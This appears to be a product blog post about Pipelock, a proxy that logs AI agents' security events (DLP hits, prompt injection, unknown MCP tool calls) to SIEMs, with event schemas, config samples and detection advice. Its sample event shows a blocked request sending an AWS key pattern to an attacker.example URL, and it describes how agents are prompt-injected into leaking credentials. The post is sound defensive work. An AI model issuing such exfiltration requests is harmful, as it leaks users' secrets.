Your agents browse, call APIs, and execute MCP tools all day. When one of them gets prompt-injected, starts leaking a credential, or calls a tool it should not, where does that show up in your SOC?
For most teams the honest answer is: nowhere. The network firewall logged an allowed HTTPS connection. The endpoint agent saw a normal process making normal syscalls. The SIEM has no row for “the model was told to reclassify its instructions” because nothing in the pipeline understood the traffic well enough to say so. Security teams are starting to call this the agent-layer logging gap, and closing it is a prerequisite for putting agents anywhere near production data.
Pipelock closes it at the enforcement point. The proxy already decides allow, warn, or block for every mediated request, response, WebSocket frame, and MCP tool call. Every decision worth a SOC’s attention is emitted as a structured event you can route to whatever you already run.
One envelope, three sinks
Webhook (HTTP POST), syslog (RFC 5424), and OTLP (OpenTelemetry HTTP/protobuf) all carry the same JSON envelope, so your parser is written once:
{
"severity": "warn",
"type": "blocked",
"timestamp": "2026-02-25T12:34:56.789Z",
"pipelock_instance": "prod-node-1",
"fields": {
"method": "GET",
"url": "https://attacker.example/steal?key=AKIA...",
"scanner": "dlp",
"reason": "AWS access key pattern detected",
"client_ip": "10.0.0.50",
"request_id": "req-abc-123"
}
}
severity is hardcoded per event type, not configurable, so an operator cannot accidentally demote a kill-switch denial to info. fields varies by type and carries the forensic detail: which scanner fired, the reason string, the request ID you can join against local logs and receipts.
What actually reaches the SIEM
Pipelock pushes security events only by default. critical covers kill_switch_deny (the emergency stop is denying all traffic) and adaptive escalations that upgraded a session to block. warn covers the working set a detection engineer cares about:
| Type | What it means |
|---|---|
blocked | A request failed the scanner pipeline: DLP hit, SSRF attempt, blocklisted domain |
response_scan | Prompt injection detected in an upstream response |
ws_blocked / ws_scan | The same two classes, on WebSocket frames in either direction |
anomaly / session_anomaly | Behavioral deviation for a request or a whole session, with a score |
mcp_unknown_tool | An MCP tool call to a tool that is not registered |
adaptive_escalation | A session’s threat score crossed a tier; critical when the new tier blocks |
error | Processing failure inside the proxy itself |
Info-level events (allowed requests, tunnel and WebSocket lifecycle) stay in local logs by design. The documented exception is config_reload when min_severity is set to info. A SIEM ingesting every allowed agent request pays per-GB to bury its own alerts; if you need that visibility, ship local logs through your collector or use the Prometheus metrics.
Turning it on
The emit block enables any combination of sinks:
# Emit security events to a collector and a syslog relay.
emit:
instance_id: "pipelock-prod-1"
webhook:
url: "https://siem.example.com/api/events"
min_severity: "warn"
auth_token: "your-bearer-token"
timeout_seconds: 5
queue_size: 64
syslog:
address: "udp://syslog.example.com:514"
min_severity: "warn"
facility: "local0"
tag: "pipelock"
Webhook delivery is asynchronous through a bounded queue, so a slow collector cannot back-pressure the proxy into stalling agent traffic.
Durable delivery, treated as the egress channel it is
The free sinks are best-effort by design. When the record of an attack must survive a restart or a collector outage, Enterprise builds add emit.forwarder: events spool to an append-only local file and deliver at-least-once, with a cursor tracking what has been acknowledged.
A forwarding pipe that sends security data out of your environment is itself an egress channel, and Pipelock treats it with the same suspicion it applies to agent traffic. The destination allowlist is mandatory, matches exact hostnames only, and there is no forward-anywhere default. Redirects are refused. Hostnames that resolve to internal addresses are denied. An operator may target a loopback or private SIEM collector only by using that IP literal as the URL host and allowlisting the same literal exactly. Link-local, multicast, and cloud-metadata addresses stay denied. The connection reuses the already-checked address so a DNS rebind cannot redirect delivery after validation. Plaintext HTTP to a non-loopback host requires an explicit opt-in, and a bearer token over plaintext is rejected with no opt-in at all.
Where to start with detection
Three rules earn their keep on day one. Page on any critical event: a kill-switch denial means someone or something already decided traffic must stop, and an escalation-to-block means a session crossed the line unattended. Alert on blocked events where scanner is dlp, because a credential pattern headed for an external host is the single highest-value catch in agent security. And watch for clusters of response_scan or ws_scan from one pipelock_instance: repeated injection attempts against the same agent usually mean a poisoned source it keeps returning to.
From there, join on request_id. The same identifier appears in local logs and in the signed receipt for the decision, which is the difference between an alert that says something happened and an investigation that can prove what happened. The evidence and detection integration guide covers that join, and the operator console gives the humans a read-only view over the same record.